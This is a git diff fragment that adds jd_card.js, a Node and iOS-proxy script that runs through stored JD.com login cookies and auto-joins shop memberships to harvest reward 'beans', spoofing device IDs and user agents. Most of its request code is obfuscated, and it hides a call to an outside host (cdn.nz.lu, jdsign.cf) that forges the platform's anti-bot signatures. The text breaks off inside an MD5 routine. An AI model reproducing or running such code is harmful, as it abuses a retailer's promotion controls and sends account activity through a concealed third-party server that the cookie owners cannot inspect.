(t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_card.js b/jd_card.js new file mode 100644 index 0000000..ca095c4 --- /dev/null +++ b/jd_card.js @@ -0,0 +1,151 @@ +/* +单店铺开卡 +变量 SHOP_VENDER_ID +7 7 7 7 7 jd_card.js +*/ +const $ = new Env("店铺开卡"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let venderId = process.env.SHOP_VENDER_ID ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (venderId === '') { + console.log("无开卡venderId") + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + await openCard(); + await $.wait(1000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function openCard() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null; + $.res = null; + await getShopOpenCardInfo({ "venderId": `${venderId}`, "channel": "401" }) + if ($.openCardActivityId) { + await bindWithVender({ "venderId": `${venderId}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, venderId) + } else { + console.log("没毛") + } + +} + +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +var _0xody='jsjiami.com.v6',_0xody_=['‮_0xody'],_0x21a9=[_0xody,'aWR3QUY=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','eWpWR24=','R1lTekU=','RnBnbFU=','ckNRRlI=','dGVnams=','SEtwaGs=','Uk1lSlI=','YmluZFdpdGhWZW5kZXI=','R2NZTmI=','WVZXTEI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','RXZDZ3A=','Y1d0SG8=','UG9HQUc=','Tm5IbFA=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','b0h3eG8=','RW9wa0U=','SHRZTEM=','VG9GcUo=','Q0dpUU4=','Z25HdlY=','YkxJR1k=','ZE53QUg=','Zml1TkM=','bVBlWUY=','Vkh2clA=','SGdsakE=','WEpKS0Y=','WUlOT1A=','UW50aFI=','YXRUZ1M=','d0trQmI=','cmVz','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RE5lQ2U=','YlZHTVM=','aWRkcmY=','WGFSU04=','cEFpSWQ=','dXlwV0Y=','Q2lEZUQ=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','eG0xMzU3OTA4NjQy','amRzaWduLmNm','aU15YmY=','RklyRUw=','YXBwbGljYXRpb24vanNvbg==','ZlJBYnc=','ekp1ZWM=','dndCUVY=','Z1VORm8=','TGdMZ3I=','VURLVEU=','cVRVaGk=','RW9uR2k=','Y2ZDanY=','ZXJFaEY=','Y2R6cVk=','QWJla08=','ZW52','U0lHTl9VUkw=','TFlCcHI=','cXpKWmk=','YkZxc04=','SUZlZXY=','Zmxvb3I=','QWl4c00=','cmFuZG9t','bGVuZ3Ro','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','ZG94dG4=','cG9zdA==','TnNsc2U=','YWdaVXo=','dVVDSWI=','T2pqS0g=','c0x4clU=','ZURCSUo=','YXBwbHk=','clNJTFU=','bG9nRXJy','VVdLRXk=','UVB2S2o=','YXBpLm0uamQuY29t','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','Yk1peHU=','c3RyaW5naWZ5','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','UXhtRWM=','a0t6REo=','UEhpcmM=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','VVVJRA==','O25ldHdvcmsvd2lmaTtBRElELw==','QURJRA==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bnlhdlM=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','UVFzb04=','YWN0aXZpdHlVcmw=','dlRqbWk=','Z2V0','bG9n','cGFyc2U=','c3VjY2Vzcw==','VmFRT0g=','QXNwRVg=','jQZVsehLjiamtlthyix.xucogm.v6=='];if(function(_0x3c1472,_0x46353a,_0x546569){function _0x40d53a(_0x5d40ab,_0x3b1837,_0x424808,_0x31456e,_0x2d1442,_0x1c074c){_0x3b1837=_0x3b1837>>0x8,_0x2d1442='po';var _0x1aadc3='shift',_0xdca26f='push',_0x1c074c='‮';if(_0x3b1837<_0x5d40ab){while(--_0x5d40ab){_0x31456e=_0x3c1472[_0x1aadc3]();if(_0x3b1837===_0x5d40ab&&_0x1c074c==='‮'&&_0x1c074c['length']===0x1){_0x3b1837=_0x31456e,_0x424808=_0x3c1472[_0x2d1442+'p']();}else if(_0x3b1837&&_0x424808['replace'](/[QZVehLtlthyxxug=]/g,'')===_0x3b1837){_0x3c1472[_0xdca26f](_0x31456e);}}_0x3c1472[_0xdca26f](_0x3c1472[_0x1aadc3]());}return 0xf6e04;};return _0x40d53a(++_0x46353a,_0x546569)>>_0x46353a^_0x546569;}(_0x21a9,0x14f,0x14f00),_0x21a9){_0xody_=_0x21a9['length']^0x14f;};function _0x4256(_0x37ce85,_0x3afc5e){_0x37ce85=~~'0x'['concat'](_0x37ce85['slice'](0x1));var _0x41651c=_0x21a9[_0x37ce85];if(_0x4256['MKuUae']===undefined&&'‮'['length']===0x1){(function(){var _0x3c74ed=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x5f3c49='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3c74ed['atob']||(_0x3c74ed['atob']=function(_0x50a810){var _0x476d85=String(_0x50a810)['replace'](/=+$/,'');for(var _0x495c45=0x0,_0x49704b,_0x20cf64,_0x5333fa=0x0,_0x2e98f0='';_0x20cf64=_0x476d85['charAt'](_0x5333fa++);~_0x20cf64&&(_0x49704b=_0x495c45%0x4?_0x49704b*0x40+_0x20cf64:_0x20cf64,_0x495c45++%0x4)?_0x2e98f0+=String['fromCharCode'](0xff&_0x49704b>>(-0x2*_0x495c45&0x6)):0x0){_0x20cf64=_0x5f3c49['indexOf'](_0x20cf64);}return _0x2e98f0;});}());_0x4256['eLELzE']=function(_0x3a6667){var _0x1c7184=atob(_0x3a6667);var _0x5ad343=[];for(var _0x5e8459=0x0,_0x5919a8=_0x1c7184['length'];_0x5e8459<_0x5919a8;_0x5e8459++){_0x5ad343+='%'+('00'+_0x1c7184['charCodeAt'](_0x5e8459)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5ad343);};_0x4256['iRyKaC']={};_0x4256['MKuUae']=!![];}var _0x282412=_0x4256['iRyKaC'][_0x37ce85];if(_0x282412===undefined){_0x41651c=_0x4256['eLELzE'](_0x41651c);_0x4256['iRyKaC'][_0x37ce85]=_0x41651c;}else{_0x41651c=_0x282412;}return _0x41651c;};function getShopOpenCardInfo(_0x3df9c7,_0x4fc845){var _0xf2478f={'VaQOH':function(_0x4ef1cc,_0x2c9e33){return _0x4ef1cc===_0x2c9e33;},'AspEX':_0x4256('‫0'),'idwAF':_0x4256('‮1'),'yjVGn':function(_0x1e0109){return _0x1e0109();},'bMixu':function(_0x392d38,_0x12cb32){return _0x392d38(_0x12cb32);},'QxmEc':_0x4256('‮2'),'kKzDJ':_0x4256('‮3'),'PHirc':_0x4256('‮4'),'nyavS':_0x4256('‫5'),'QQsoN':function(_0x128da5,_0x26f259){return _0x128da5(_0x26f259);},'vTjmi':_0x4256('‮6')};let _0x6d40f6={'url':_0x4256('‮7')+_0xf2478f[_0x4256('‫8')](encodeURIComponent,JSON[_0x4256('‫9')](_0x3df9c7))+_0x4256('‮a'),'headers':{'Host':_0xf2478f[_0x4256('‮b')],'Accept':_0xf2478f[_0x4256('‮c')],'Connection':_0xf2478f[_0x4256('‮d')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0xf2478f[_0x4256('‫13')],'Referer':_0x4256('‫14')+_0x4fc845+_0x4256('‮15')+_0xf2478f[_0x4256('‫16')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0xf2478f[_0x4256('‮18')]}};return new Promise(_0x12e7b1=>{$[_0x4256('‮19')](_0x6d40f6,(_0x1659fe,_0x43d45e,_0x1c81e1)=>{try{if(_0x1659fe){console[_0x4256('‫1a')](_0x1659fe);}else{res=JSON[_0x4256('‮1b')](_0x1c81e1);if(res[_0x4256('‮1c')]){if(_0xf2478f[_0x4256('‫1d')](_0xf2478f[_0x4256('‫1e')],_0xf2478f[_0x4256('‫1f')])){console[_0x4256('‫1a')](_0x1659fe);}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}}}catch(_0x496f91){console[_0x4256('‫1a')](_0x496f91);}finally{_0xf2478f[_0x4256('‫25')](_0x12e7b1);}});});}async function bindWithVender(_0x2c96fa,_0xab699c){var _0x23d2c7={'HtYLC':function(_0x371e42,_0x50fb75){return _0x371e42!==_0x50fb75;},'ToFqJ':_0x4256('‮26'),'CGiQN':_0x4256('‮27'),'gnGvV':_0x4256('‮28'),'bLIGY':_0x4256('‮29'),'dNwAH':function(_0x32fa43,_0x59c034){return _0x32fa43===_0x59c034;},'fiuNC':_0x4256('‫2a'),'mPeYF':_0x4256('‫2b'),'VHvrP':function(_0x3e57a3){return _0x3e57a3();},'GcYNb':function(_0x4252a7,_0x1cba3b,_0x224847){return _0x4252a7(_0x1cba3b,_0x224847);},'YVWLB':_0x4256('‫2c'),'EvCgp':_0x4256('‮2'),'cWtHo':_0x4256('‮3'),'PoGAG':_0x4256('‮4'),'NnHlP':_0x4256('‫5'),'oHwxo':function(_0xac78fa,_0x5f421d){return _0xac78fa(_0x5f421d);},'EopkE':_0x4256('‮6')};return h5st=await _0x23d2c7[_0x4256('‫2d')](geth5st,_0x23d2c7[_0x4256('‮2e')],_0x2c96fa),opt={'url':_0x4256('‮2f')+h5st,'headers':{'Host':_0x23d2c7[_0x4256('‮30')],'Accept':_0x23d2c7[_0x4256('‮31')],'Connection':_0x23d2c7[_0x4256('‫32')],'Cookie':cookie,'User-Agent':_0x4256('‮e')+$[_0x4256('‮f')]+_0x4256('‫10')+$[_0x4256('‫11')]+_0x4256('‮12'),'Accept-Language':_0x23d2c7[_0x4256('‫33')],'Referer':_0x4256('‫14')+_0xab699c+_0x4256('‫34')+_0x23d2c7[_0x4256('‮35')](encodeURIComponent,$[_0x4256('‮17')]),'Accept-Encoding':_0x23d2c7[_0x4256('‮36')]}},new Promise(_0x2ccbf6=>{var _0x5f13ea={'HgljA':function(_0x23895a,_0x34fd84){return _0x23d2c7[_0x4256('‫37')](_0x23895a,_0x34fd84);},'XJJKF':_0x23d2c7[_0x4256('‮38')],'YINOP':_0x23d2c7[_0x4256('‮39')],'QnthR':function(_0xa5dab0,_0xe47757){return _0x23d2c7[_0x4256('‫37')](_0xa5dab0,_0xe47757);},'atTgS':_0x23d2c7[_0x4256('‮3a')],'wKkBb':_0x23d2c7[_0x4256('‫3b')],'DNeCe':function(_0x1e1eef,_0x173f3a){return _0x23d2c7[_0x4256('‮3c')](_0x1e1eef,_0x173f3a);},'bVGMS':_0x23d2c7[_0x4256('‮3d')],'iddrf':_0x23d2c7[_0x4256('‮3e')],'XaRSN':function(_0x299f58){return _0x23d2c7[_0x4256('‮3f')](_0x299f58);}};$[_0x4256('‮19')](opt,(_0x160cca,_0x58082c,_0x285199)=>{try{if(_0x5f13ea[_0x4256('‫40')](_0x5f13ea[_0x4256('‫41')],_0x5f13ea[_0x4256('‮42')])){if(_0x160cca){console[_0x4256('‫1a')](_0x160cca);}else{if(_0x5f13ea[_0x4256('‮43')](_0x5f13ea[_0x4256('‮44')],_0x5f13ea[_0x4256('‮45')])){res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}else{res=JSON[_0x4256('‮1b')](_0x285199);$[_0x4256('‮46')]=res;if(res[_0x4256('‮1c')]){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}}}}else{if(res[_0x4256('‫20')][_0x4256('‫21')]){$[_0x4256('‮22')]=res[_0x4256('‫20')][_0x4256('‫21')][0x0][_0x4256('‫23')][_0x4256('‫24')];}}}catch(_0xcd2b24){if(_0x5f13ea[_0x4256('‫49')](_0x5f13ea[_0x4256('‫4a')],_0x5f13ea[_0x4256('‫4b')])){console[_0x4256('‫1a')](res);$[_0x4256('‮47')]=res[_0x4256('‫48')];}else{console[_0x4256('‫1a')](_0xcd2b24);}}finally{_0x5f13ea[_0x4256('‫4c')](_0x2ccbf6);}});});}function geth5st(_0x5156f4,_0x1f2f35){var _0x5dafa2={'fRAbw':function(_0x1b8ec1,_0x52f782){return _0x1b8ec1(_0x52f782);},'zJuec':function(_0x28cb88){return _0x28cb88();},'vwBQV':function(_0x21d883,_0x11ae17){return _0x21d883===_0x11ae17;},'gUNFo':_0x4256('‮4d'),'LgLgr':_0x4256('‫4e'),'UDKTE':function(_0x56a740,_0xbb8ea3){return _0x56a740===_0xbb8ea3;},'qTUhi':_0x4256('‫4f'),'EonGi':_0x4256('‮50'),'cfCjv':_0x4256('‮51'),'erEhF':_0x4256('‮52'),'cdzqY':_0x4256('‫53'),'AbekO':_0x4256('‮54'),'LYBpr':function(_0x3a5480,_0x2fac2b){return _0x3a5480===_0x2fac2b;},'qzJZi':_0x4256('‫55'),'bFqsN':_0x4256('‮56'),'AixsM':function(_0x2e5715,_0x38e4ee){return _0x2e5715*_0x38e4ee;},'doxtn':_0x4256('‮57')};return new Promise(async _0x4ffd06=>{var _0x1abb9e={'IFeev':function(_0x3d8588,_0xd1f4b9){return _0x5dafa2[_0x4256('‮58')](_0x3d8588,_0xd1f4b9);},'Nslse':function(_0x57fb1a){return _0x5dafa2[_0x4256('‮59')](_0x57fb1a);},'agZUz':function(_0x4c58ed,_0x3a8675){return _0x5dafa2[_0x4256('‫5a')](_0x4c58ed,_0x3a8675);},'uUCIb':_0x5dafa2[_0x4256('‮5b')],'OjjKH':_0x5dafa2[_0x4256('‮5c')],'sLxrU':function(_0x328089,_0x2dbd54){return _0x5dafa2[_0x4256('‮5d')](_0x328089,_0x2dbd54);},'eDBIJ':_0x5dafa2[_0x4256('‫5e')]};let _0x54316b={'appId':_0x5dafa2[_0x4256('‫5f')],'body':{'appid':_0x5dafa2[_0x4256('‮60')],'functionId':_0x5156f4,'body':JSON[_0x4256('‫9')](_0x1f2f35),'clientVersion':_0x5dafa2[_0x4256('‫61')],'client':'H5','activityId':_0x5dafa2[_0x4256('‮62')]},'callbackAll':!![]};let _0x4137b8='';let _0x43a862=[_0x5dafa2[_0x4256('‮63')]];if(process[_0x4256('‮64')][_0x4256('‫65')]){_0x4137b8=process[_0x4256('‮64')][_0x4256('‫65')];}else{if(_0x5dafa2[_0x4256('‮66')](_0x5dafa2[_0x4256('‮67')],_0x5dafa2[_0x4256('‮68')])){_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}else{_0x4137b8=_0x43a862[Math[_0x4256('‫6a')](_0x5dafa2[_0x4256('‮6b')](Math[_0x4256('‫6c')](),_0x43a862[_0x4256('‫6d')]))];}}let _0x476228={'url':_0x4256('‮6e'),'body':JSON[_0x4256('‫9')](_0x54316b),'headers':{'Host':_0x4137b8,'Content-Type':_0x5dafa2[_0x4256('‮6f')]},'timeout':_0x5dafa2[_0x4256('‮6b')](0x1e,0x3e8)};$[_0x4256('‫70')](_0x476228,async(_0x4d4e22,_0x10528c,_0x54316b)=>{var _0x491948={'rSILU':function(_0x5e4dc6){return _0x1abb9e[_0x4256('‮71')](_0x5e4dc6);}};try{if(_0x1abb9e[_0x4256('‫72')](_0x1abb9e[_0x4256('‮73')],_0x1abb9e[_0x4256('‮74')])){console[_0x4256('‫1a')](error);}else{if(_0x4d4e22){if(_0x1abb9e[_0x4256('‮75')](_0x1abb9e[_0x4256('‫76')],_0x1abb9e[_0x4256('‫76')])){_0x54316b=await geth5st[_0x4256('‮77')](this,arguments);}else{_0x491948[_0x4256('‫78')](_0x4ffd06);}}else{}}}catch(_0x256571){$[_0x4256('‫79')](_0x256571,_0x10528c);}finally{_0x1abb9e[_0x4256('‫69')](_0x4ffd06,_0x54316b);}});});};_0xody='jsjiami.com.v6'; +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return 